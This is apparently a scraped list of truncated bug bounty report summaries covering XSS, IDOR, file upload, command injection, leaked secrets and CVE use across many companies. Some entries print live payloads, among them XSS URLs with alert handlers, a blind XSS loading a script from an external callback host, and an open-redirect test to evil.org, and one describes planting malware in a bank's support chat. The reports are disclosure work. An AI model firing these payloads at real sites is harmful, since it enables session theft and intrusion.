QIWI: [z.tochka.com] Unlimited file uploads lead to malware executed

Привет Нашел File Upload при загрузке изображения в чате поддержки банка Малварь загружается на z.tochka.com а значит он доверен 1. Заходим в чат 2. Загружаем малварь, можем его закриптовать, или просто загрузить .bat файл который будет выполнять какие либо действия на устройствах сотрудников 3...

Automattic: Reflected XSS at /category/ on a Atavis theme

Summary: Hi team, This report is similar to 947790 You fixed the XSS on search, but I found another XSS at /category/xsspayload For PoC you can check these URLs : https://magazine.atavist.com/category/%22%3E%3Csvg%20onload%3Dalert%60XSS%60%3E...

U.S. Dept Of Defense: Reflected XSS in https://www.█████/

Hello Security Team, I would like to report the XSS vulnerability on your system. Steps To Reproduce: Visit the following POC link and move your mouse allover index page: https://www.████/Z%22onmouseover=alert%60%60%20%22/████████/█████.aspx 1. Tested on firefox browser: ███████ 2.Tested on googl...

Mail.ru: Possible access to the car's photo and registration by its ID on [fleet.city-mobil.ru]

Car / driver's license photo cropped with built-in photo editor of fleet.city-mobil.ru could get a predictable name...

Mail.ru: Disclosure of personal support email addresses on 'support-fleet.city-mobil.ru'

IDOR vulnerability in support-fleet.city-mobil.ru allowed to disclose the support staff e-mail addresses...

Zomato: Lack of Password Confirmation for Account Deletion

Description: Issue in the zomato android application is that the user account can be deleted without confirming user password or re authentication. The removal of account is one of the sensitive part of any application that needs to protect, therefore removing an account should validate the...

Internet Bug Bounty: Use after free vulnerability in phar_parse_zipfile

Malformed phar file with cache configuration leads freed memory as hash key when it inserts into the hash table. More detail information and original report is here: https://bugs.php.net/bug.php?id=79797 and it was assigned CVE-2020-7068. Impact Through this vulnerability that inserts freed memor...

Mail.ru: HTML Injection at "city-mobil.ru"

HTML Injection in city-mobil.ru on driver recruitment page...

Node.js third-party modules: [@knutkirkhorn/free-space] - Command Injection through Lack of Sanitization

I would like to report Command Injection in the free-space module. It allows arbitrary shell command execution on Unix-based systems Module module name: free-space version: 1.2.0 npm page: https://www.npmjs.com/package/free-space Module Description Get the amount of free space for a drive Module...

GitLab: Store-XSS in error message of build-dependencies

Hi, A stored-XSS is existing in error message of build-dependencies. Fortunately it currently does not exist in gitlab.com. It seems that gitlab.com disables the dependencies validation. However this feature is enable by default in self-managed installation. Steps to reproduce The following steps...

New Relic: HTML injection at Alert email

@wi11 discovered an issue with Alerts notification emails where supplied HTML tags would be rendered by the email generator. This could allow an attacker to embed arbitrary hyperlinks or images under the header in those Alerts emails. Some prople asked me about this bug, so I give a simple...

Bumble: XSS DI BIODATA

I did the injection with payload see mp4, I did the 1st and 2nd experiments. Sorry for the 1st experiment, I didn't video. When I did the first injection, there was an error after pressing the OK button. Impact the impact could have been someone who stole cookies...

Nextcloud: DoS attack against the client when entering a long password

Hi team, My report like this 840598 entering a long password the denial a service attack on the server please fix it .. Step .. 1. Create account on https://nextcloud.com/signup/ 2. enter password any password and login . 3. after you login go to your settings . 4. go to here...

Mail.ru: SECRET_KEY Of Django Leaked In maps.me

Token for a internal Jenkins account of maps.me was leaked via git commit...

Mail.ru: relap.io/admin/api - административный API доступен без аутентификации

Admin interface opened to external network without authentication on relap.io...

Mail.ru: [webvpn.city-srv.ru] Path traversal via CVE-2020-3452

CVE-2020-3452 on webvpn.city-srv.ru...

Ruby on Rails: XSS by file (Active Storage `Proxying`)

Hello, I've seen similar issues with 407319 and 429868 occur with Active Storage's new File serving strategies Proxying. Commit is https://github.com/rails/rails/commit/dfb5a82b259e134eac89784ac4ace0c44d1b4aee. ruby...

Automattic: DOM-Based XSS in tumblr.com

Description Hi, i would like to report DOM-Based XSS that it's exactly like this one 882546, this one work just because the page /reblog/ID/OTHERID doesn't have a correct CSP rule. Steps to reproduce 1. go to https://www.tumblr.com/reblog/620008931446652928/JBuEvzz5 2. click in click me 3. click ...

Valve: Shell command injection in https://partner.steamgames.com/admin/game/publish/ via screenshot URL

Shell command injection in https://partner.steamgames.com/admin/game/publish/ via screenshot URL The vulnerability allowed insufficient validation of parameters, which permitted the injection of shell metacharacters into values used to construct a Bash command...

Dropcontact: Unrestricted File Upload on https://app.dropcontact.io/app/upload/

hi team, I found Unrestricted File Upload Vulnerabilities on https://app.dropcontact.io/app/upload/. Steps To Reproduce: 1. Create an account in https://app.dropcontact.io/app/ 1. go to https://app.dropcontact.io/app/upload/ 1. try to upload html file , you will see message only : .csv, .txt, .xl...

Mail.ru: Information Disclosure

Performance metrics were available at instamart.ru...

Shopify: Blind Stored XSS Via Staff Name

Hey Team, I found blind stored XSS when i add staff name in https://your-store.myshopify.com/admin/settings/account Step to reproduce : 1. Go to https://your-store.myshopify.com/admin/settings/account 2. Add Staff Account 3. Fill First & Last Name with this payload "$.getScript"//█████████.xss.ht...

curl: Connect-only connections can use the wrong connection

Summary: If a connect-only easy handle is not read from or written to, its connection can time out and be closed. If a new connection is created it can be allocated at the same address, causing the easy handle to use the new connection. This new connection may not be connected to the same server ...

Mail.ru: В самокате можно просматривать и изменять данные любого заказа без авторизации

IDOR in smart.space API allowed to change orders and list items of order content...

Courier: Broken Authentication Session Token Bug

Hi Team Hope your are good I have found a broken authentication issue in https://www.trycourier.app Steps to reproduce 1. Create a courier account or use existing one. 2. Confirm Your email address. 3. Now log out from your account and request for password reset code for your account . 4. Don't u...

Mail.ru: REFLECTED XSS On http://jsgames.mail.ru/bad_browser.php via back_url paramter

Reflected XSS in jsgames.mail.ru via GET paramter...

Dropcontact: User can Subscribe a plan that is hidden by manipulating the value of "subscription" parameter at [ https://app.dropcontact.io/app/checkout/]

When login into dropcontact, going into subscription and clicking on some plan, you have the id of the plan in the url, someone could see hidden plan by changing this parameter...

Equifax-vdp: Open SonarQube instance leaking internal source code

Summary I came across an open SonarQube instance which can be found here: http://34.238.92.229:9000/ In this, there are 10 projects with a total of around 100k lines of code To identify the owner, I went to the Issues tab and expanded the list of authors. There were 29 people there, and many of...

Automattic: Reflected XSS on a Atavist theme

Summary: Hi team, I found Reflected XSS at a Atavist theme and there are a lot of affected websites. I don't know the theme's name but it's in use at https://magazine.atavist.com/ Just write alertdocument.domain to search field...

Shopify: staff can able to extend shopify trial period without admin permission

Description: my store 14 days trial subscription remains only for 2 days and I see Shopify also offers shop admin to extend shop trial period to another 14 days. so, I found an issue in which staff with no permission also able to extend trial period without admin permission steps to reproduce : -...

Rockset: S3 bucket data at http://rockset-support.s3-us-west-2.amazonaws.com/ reveals user addresses based on latitudes and longitudes.

At the s3 bucket located at http://rockset-support.s3-us-west-2.amazonaws.com/, a file was found called data.json.15that contains of interest latitudes and latitudes of user addresses. F930036 Steps to reproduce: 1, Download the file in the bucket with the command: aws s3 sync s3://rockset-suppor...

Acronis: ClickJacking

I have found the vulnerability called Clickjacking. Please find the details below: Description Clickjacking is an exploit in which malicious coding is hidden beneath apparently legitimate buttons or other clickable content on a website. OWASP Benchmark A6- Security Misconfiguration Steps to...

Dropcontact: Ngnix Server version disclosure.

Nginx Server version was returned by our server...

Courier: Bypass Too Many Requests Sign Up

Courier makes a rate limit check before allowing a user to register; this rate limit check can be bypassed and a user account can be created by sending a request directly to the AWS Cognito API – which is not rate limited...

GitLab: SafeParamsHelper::safe_params is not so safe

Summary GitLab uses SafeParamsHelper to filter out some keys before passing them to urlfor: ruby def safeparams if params.respondto?:permit! params.except:host, :port, :protocol.permit! else params end end The issue is that there are a lot more dangerous keys: ruby RESERVEDOPTIONS = :host,...

MTN Group: [mtn.com.af] Multiple vulnerabilities allow to Application level DoS

Issue Description Unauthenticated attackers can cause a denial of service resource consumption by using the large list of registered .js files from wp-includes/script-loader.php to construct a series of requests to load every file many times. The vulnerability is registered as CVE-2018-6389 76172...

Yelp: RCE on build server via misconfigured pip install

The following Python library has been installed on at least one Yelp owned build server directly from the public PyPI registry. https://pypi.org/project/yelp-cgeom/ This package should normally be downloaded from the internal Yelp registry, but a misconfiguration appears to have caused it to be...

Rockset: A member-member privilege could access the https://console.rockset.com/billing?tab=payment page even though the billing page is hidden from the menu.

Summary: I am writing to submit a vulnerability found at https://console.rockset.com/. I created an admin account with email [email protected] and added a member with email [email protected]. I logged in from the member's account and realized that the Billing page is n...

Lark Technologies: [IDOR] Modify other team's reminders via reminderId parameter

An IDOR Insecure Direct Object Reference vulnerability was found in Larksuite reminders, allowing an attacker to modify any other user's reminder in the POST request via "reminderId" parameter. We thank imrannisar for reporting this vulnerability and confirming its resolution...

TikTok: Cross Site Scripting using Email parameter in Ads endpoint 2

A cross site scripting vulnerability was found in an ads endpoint using the email parameter. This issue has been resolved. We thank @luizviana for reporting this to our team and confirming the resolution...

Shopify: Stored XSS in my staff name fired in another your internal panel

Hi all, I had lots of tests for bug bounty in my test store "trstore-3.myshopify.com" created about 4 years ago and then one of your developers noticed that a stored cross-site scripting payload in my staff name fired in another your internal panel. I have attached the email sent to me by your...

X (Formerly Twitter): Safe Redirect Bypass

Hello Team, Summary: The url below bypasses the safe redirect and redirects directly to the malicious website. http://evil.org/%00 The reason for this may be the fix in the report 921286. Steps: Tweet the url below: http://evil.org/%00 Thanks! @cyanpiny Impact The attacker can direct the victim...

Acronis: Arbitrary file creation via symlink attack on syncagentsrv (Acronis Sync Agent Service)

Issue class description Arbitrary file creation is a vulnerability that allows attacker to create file in arbitrary location within filesystem. This includes protected directories, such as C:\Windows, C:\windows\system32 and "C:\Program Files". If in addition, attacker has control over the file...

Acronis: Arbitrary DLL injection in mmsminisrv (Acronis Managed Machine Service Mini)

During initialization, mmsmini.exe service binary of mmsminisrv loads library C:\Program Files x86\Common Files\Acronis\Home\libssl10.dll. The library then tries to load non-existing file: C:\bshudson\workspace\mod-openssl-fips-win\205\product\out\standard\vs2013release\OpenSSL\ssl\openssl.cnf. T...

Mail.ru: NPM_API_KEY Leak

Sensitive application configuration data related to samokat.ru was leaked on github.com...

QIWI: CVE-2020-3187 - unauthenticated arbitrary file deletion in Cisco

Steps to reproduce: I could delete arbitrary files from https://79.142.21.220/ using CVE-2020-3187. POC video is attached. Browser/OS: Chrome/Windows ALSO Cisco ASA - Arbitary File Read - CVE-2020-3452 the file downloaded also attached here for poc Impact Impact: RCE is P1 critical vulnerability,...

Pornhub: XSS via JavaScript evaluation of an attacker controlled resource at www.pornhub.com

The researcher was able to execute arbitrary JavaScript code within the scope of the target domain by exploiting a reflected cross-site scripting vulnerability in a custom library...

Mail.ru: Forgot Password Page SMS Brute Force could lead to Account Takeover using Android/IOS app "About the house" via api.prodom.smart.space

Password recovery procedure was not sufficiently protected against bruteforce and allowed arbitrary smart.space account takeover...

GitHub Security Lab: Python : Add query to detect Server Side Template Injection

This bug was reported directly to GitHub Security Lab...

Internet Bug Bounty: Uncovering file quarantine and UX security issues in macOS apps ( .terminal, .fileloc and .url)

Slides : https://docs.google.com/presentation/d/19WeQbqcOKnrSv1I3Z4sm-oNAf6IVzHwRyQP4i9BvY/editslide=id.g758ad3e04223231 See Blogpost for more details - https://medium.com/@metnew/exploiting-popular-macos-apps-with-a-single-terminal-file-f6c2efdfedaa Summary Popular macOS apps with a file-sharing...